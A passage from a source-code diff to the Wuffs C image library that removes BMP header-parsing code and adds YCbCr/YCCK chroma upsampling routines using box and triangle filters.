-+ *dp++ = (uint8_t)((sv + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + 7u) >> 4u); -+ return dst_ptr; - } -- self->private_impl.f_padding -= 14u; -- self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -- if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -- } -- } -- self->private_impl.f_bitmap_info_len = t_2; -+ -+ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. -+ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. -+ uint32_t sv_major_p1 = sp_major[+1]; -+ uint32_t sv_minor_p1 = sp_minor[+1]; -+ -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ if (src_len <= 0u) { -+ return dst_ptr; - } -- if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -+ } -+ -+ if (last_column) { -+ src_len--; -+ } -+ -+ for (; src_len > 0u; src_len--) { -+ uint32_t sv_major_m1 = sp_major[-1]; -+ uint32_t sv_minor_m1 = sp_minor[-1]; -+ uint32_t sv_major_p1 = sp_major[+1]; -+ uint32_t sv_minor_p1 = sp_minor[+1]; -+ -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ } -+ -+ if (last_column) { -+ uint32_t sv_major_m1 = sp_major[-1]; -+ uint32_t sv_minor_m1 = sp_minor[-1]; -+ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. -+ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. -+ -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ } -+ -+ return dst_ptr; -+} -+ -+// wuffs_private_impl__swizzle_ycc__upsample_funcs is indexed by inv_h and then -+// inv_v. -+static const wuffs_private_impl__swizzle_ycc__upsample_func -+ wuffs_private_impl__swizzle_ycc__upsample_funcs[4][4] = { -+ { -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, -+ }, -+ { -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, -+ }, -+ { -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, -+ }, -+ { -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, -+ }, -+}; -+ -+static inline uint32_t // -+wuffs_private_impl__swizzle_has_triangle_upsampler(uint32_t inv_h, -+ uint32_t inv_v) { -+ if (inv_h == 1u) { -+ return inv_v == 2u; -+ } else if (inv_h == 2u) { -+ return (inv_v == 1u) || (inv_v == 2u); -+ } -+ return false; -+} -+ -+// -------- -+ -+// All of the wuffs_private_impl__swizzle_ycc__etc functions have -+// preconditions. See all of the checks made in -+// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For -+// example, (width > 0) is a precondition, but there are many more. -+ -+static void // -+wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t width, -+ uint32_t y, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, -+ const uint8_t* src_ptr3, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t stride3, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_h3, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t inv_v3, -+ uint32_t half_width_for_2to1, -+ uint32_t h1v2_bias, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3, -+ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { -+ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -+ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -+ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -+ const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); -+ uint32_t total_src_len0 = 0u; -+ uint32_t total_src_len1 = 0u; -+ uint32_t total_src_len2 = 0u; -+ uint32_t total_src_len3 = 0u; -+ -+ uint32_t x = 0u; -+ while (x < width) { -+ bool first_column = x == 0u; -+ uint32_t end = x + 480u; -+ if (end > width) { -+ end = width; - } -- self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; -- if (self->private_impl.f_bitmap_info_len == 12u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -- if (num_bits_3 == 8) { -- t_3 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)) << 56; -- } -- } -- self->private_impl.f_width = t_3; -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; -+ total_src_len0 += src_len0; -+ total_src_len1 += src_len1; -+ total_src_len2 += src_len2; -+ total_src_len3 += src_len3; -+ -+ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 480u), // -+ src_ptr_x0, // -+ src_ptr_x0, // -+ src_len0, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len0 >= half_width_for_2to1)); -+ -+ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 480u), // -+ src_ptr_x1, // -+ src_ptr_x1, // -+ src_len1, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len1 >= half_width_for_2to1)); -+ -+ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 480u), // -+ src_ptr_x2, // -+ src_ptr_x2, // -+ src_len2, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len2 >= half_width_for_2to1)); -+ -+ const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); -+ const uint8_t* up3 = (*upfunc3)( // -+ scratch_buffer_2k_ptr + (3u * 480u), // -+ src_ptr_x3, // -+ src_ptr_x3, // -+ src_len3, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len3 >= half_width_for_2to1)); -+ -+ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); -+ x = end; -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycck__general__triangle_filter( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, -+ const uint8_t* src_ptr3, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t stride3, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_h3, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t inv_v3, -+ uint32_t half_width_for_2to1, -+ uint32_t half_height_for_2to1, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { -+ if ((x_min_incl != 0) || (y_min_incl != 0)) { -+ return; -+ } -+ -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = -+ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = -+ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = -+ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = -+ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; -+ -+ // First row. -+ uint32_t h1v2_bias = 1u; -+ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( -+ dst, x_max_excl, 0u, // -+ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // -+ stride0, stride1, stride2, stride3, // -+ inv_h0, inv_h1, inv_h2, inv_h3, // -+ inv_v0, inv_v1, inv_v2, inv_v3, // -+ half_width_for_2to1, // -+ h1v2_bias, // -+ scratch_buffer_2k_ptr, // -+ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); -+ h1v2_bias = 2u; -+ -+ // Middle rows. -+ bool last_row = y_max_excl == 2u * half_height_for_2to1; -+ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; -+ uint32_t y; -+ for (y = 1u; y < middle_y_max_excl; y++) { -+ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -+ const uint8_t* src0_minor = -+ (inv_v0 != 2u) -+ ? src0_major -+ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); -+ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -+ const uint8_t* src1_minor = -+ (inv_v1 != 2u) -+ ? src1_major -+ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); -+ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -+ const uint8_t* src2_minor = -+ (inv_v2 != 2u) -+ ? src2_major -+ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); -+ const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); -+ const uint8_t* src3_minor = -+ (inv_v3 != 2u) -+ ? src3_major -+ : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); -+ uint32_t total_src_len0 = 0u; -+ uint32_t total_src_len1 = 0u; -+ uint32_t total_src_len2 = 0u; -+ uint32_t total_src_len3 = 0u; -+ -+ uint32_t x = 0u; -+ while (x < x_max_excl) { -+ bool first_column = x == 0u; -+ uint32_t end = x + 480u; -+ if (end > x_max_excl) { -+ end = x_max_excl; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 8) { -- t_4 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -- } -- } -- self->private_impl.f_height = t_4; -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; -+ total_src_len0 += src_len0; -+ total_src_len1 += src_len1; -+ total_src_len2 += src_len2; -+ total_src_len3 += src_len3; -+ -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 480u), // -+ src0_major + (x / inv_h0), // -+ src0_minor + (x / inv_h0), // -+ src_len0, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len0 >= half_width_for_2to1)); -+ -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 480u), // -+ src1_major + (x / inv_h1), // -+ src1_minor + (x / inv_h1), // -+ src_len1, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len1 >= half_width_for_2to1)); -+ -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 480u), // -+ src2_major + (x / inv_h2), // -+ src2_minor + (x / inv_h2), // -+ src_len2, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len2 >= half_width_for_2to1)); -+ -+ const uint8_t* up3 = (*upfunc3)( // -+ scratch_buffer_2k_ptr + (3u * 480u), // -+ src3_major + (x / inv_h3), // -+ src3_minor + (x / inv_h3), // -+ src_len3, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len3 >= half_width_for_2to1)); -+ -+ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); -+ x = end; -+ } -+ -+ h1v2_bias ^= 3u; -+ } -+ -+ // Last row. -+ if (middle_y_max_excl != y_max_excl) { -+ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( -+ dst, x_max_excl, middle_y_max_excl, // -+ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // -+ stride0, stride1, stride2, stride3, // -+ inv_h0, inv_h1, inv_h2, inv_h3, // -+ inv_v0, inv_v1, inv_v2, inv_v3, // -+ half_width_for_2to1, // -+ h1v2_bias, // -+ scratch_buffer_2k_ptr, // -+ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t width, -+ uint32_t y, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t half_width_for_2to1, -+ uint32_t h1v2_bias, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, -+ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { -+ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -+ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -+ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -+ uint32_t total_src_len0 = 0u; -+ uint32_t total_src_len1 = 0u; -+ uint32_t total_src_len2 = 0u; -+ -+ uint32_t x = 0u; -+ while (x < width) { -+ bool first_column = x == 0u; -+ uint32_t end = x + 672u; -+ if (end > width) { -+ end = width; -+ } -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ total_src_len0 += src_len0; -+ total_src_len1 += src_len1; -+ total_src_len2 += src_len2; -+ -+ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 672u), // -+ src_ptr_x0, // -+ src_ptr_x0, // -+ src_len0, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len0 >= half_width_for_2to1)); -+ -+ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 672u), // -+ src_ptr_x1, // -+ src_ptr_x1, // -+ src_len1, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len1 >= half_width_for_2to1)); -+ -+ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 672u), // -+ src_ptr_x2, // -+ src_ptr_x2, // -+ src_len2, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len2 >= half_width_for_2to1)); -+ -+ (*conv3func)(dst, x, end, y, up0, up1, up2); -+ x = end; -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__general__triangle_filter( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t half_width_for_2to1, -+ uint32_t half_height_for_2to1, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { -+ if ((x_min_incl != 0) || (y_min_incl != 0)) { -+ return; -+ } -+ -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = -+ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = -+ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = -+ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -+ -+ // First row. -+ uint32_t h1v2_bias = 1u; -+ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( -+ dst, x_max_excl, 0u, // -+ src_ptr0, src_ptr1, src_ptr2, // -+ stride0, stride1, stride2, // -+ inv_h0, inv_h1, inv_h2, // -+ inv_v0, inv_v1, inv_v2, // -+ half_width_for_2to1, // -+ h1v2_bias, // -+ scratch_buffer_2k_ptr, // -+ upfunc0, upfunc1, upfunc2, conv3func); -+ h1v2_bias = 2u; -+ -+ // Middle rows. -+ bool last_row = y_max_excl == 2u * half_height_for_2to1; -+ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; -+ uint32_t y; -+ for (y = 1u; y < middle_y_max_excl; y++) { -+ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -+ const uint8_t* src0_minor = -+ (inv_v0 != 2u) -+ ? src0_major -+ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); -+ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -+ const uint8_t* src1_minor = -+ (inv_v1 != 2u) -+ ? src1_major -+ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); -+ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -+ const uint8_t* src2_minor = -+ (inv_v2 != 2u) -+ ? src2_major -+ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); -+ uint32_t total_src_len0 = 0u; -+ uint32_t total_src_len1 = 0u; -+ uint32_t total_src_len2 = 0u; -+ -+ uint32_t x = 0u; -+ while (x < x_max_excl) { -+ bool first_column = x == 0u; -+ uint32_t end = x + 672u; -+ if (end > x_max_excl) { -+ end = x_max_excl; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- uint32_t t_5; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; -- if (num_bits_5 == 8) { -- t_5 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_5 += 8u; -- *scratch |= ((uint64_t)(num_bits_5)) << 56; -- } -- } -- v_planes = t_5; -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ total_src_len0 += src_len0; -+ total_src_len1 += src_len1; -+ total_src_len2 += src_len2; -+ -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 672u), // -+ src0_major + (x / inv_h0), // -+ src0_minor + (x / inv_h0), // -+ src_len0, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len0 >= half_width_for_2to1)); -+ -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 672u), // -+ src1_major + (x / inv_h1), // -+ src1_minor + (x / inv_h1), // -+ src_len1, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len1 >= half_width_for_2to1)); -+ -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 672u), // -+ src2_major + (x / inv_h2), // -+ src2_minor + (x / inv_h2), // -+ src_len2, // -+ h1v2_bias, // -+ first_column, // -+ (total_src_len2 >= half_width_for_2to1)); -+ -+ (*conv3func)(dst, x, end, y, up0, up1, up2); -+ x = end; -+ } -+ -+ h1v2_bias ^= 3u; -+ } -+ -+ // Last row. -+ if (middle_y_max_excl != y_max_excl) { -+ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( -+ dst, x_max_excl, middle_y_max_excl, // -+ src_ptr0, src_ptr1, src_ptr2, // -+ stride0, stride1, stride2, // -+ inv_h0, inv_h1, inv_h2, // -+ inv_v0, inv_v1, inv_v2, // -+ half_width_for_2to1, // -+ h1v2_bias, // -+ scratch_buffer_2k_ptr, // -+ upfunc0, upfunc1, upfunc2, conv3func); -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__general__box_filter( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t half_width_for_2to1, -+ uint32_t half_height_for_2to1, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = -+ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = -+ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = -+ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -+ -+ uint32_t y; -+ for (y = y_min_incl; y < y_max_excl; y++) { -+ const uint8_t* src0_major = -+ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); -+ const uint8_t* src1_major = -+ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); -+ const uint8_t* src2_major = -+ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); -+ -+ uint32_t x = x_min_incl; -+ while (x < x_max_excl) { -+ uint32_t end = x + 672u; -+ if (end > x_max_excl) { -+ end = x_max_excl; - } -- if (v_planes != 1u) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 672u), // -+ src0_major + ((x - x_min_incl) / inv_h0), // -+ src0_major + ((x - x_min_incl) / inv_h0), // -+ src_len0, // -+ 0u, false, false); -+ -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 672u), // -+ src1_major + ((x - x_min_incl) / inv_h1), // -+ src1_major + ((x - x_min_incl) / inv_h1), // -+ src_len1, // -+ 0u, false, false); -+ -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 672u), // -+ src2_major + ((x - x_min_incl) / inv_h2), // -+ src2_major + ((x - x_min_incl) / inv_h2), // -+ src_len2, // -+ 0u, false, false); -+ -+ (*conv3func)(dst, x, end, y, up0, up1, up2); -+ x = end; -+ } -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycck__general__box_filter( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ const uint8_t* src_ptr0, -+ const uint8_t* src_ptr1, -+ const uint8_t* src_ptr2, 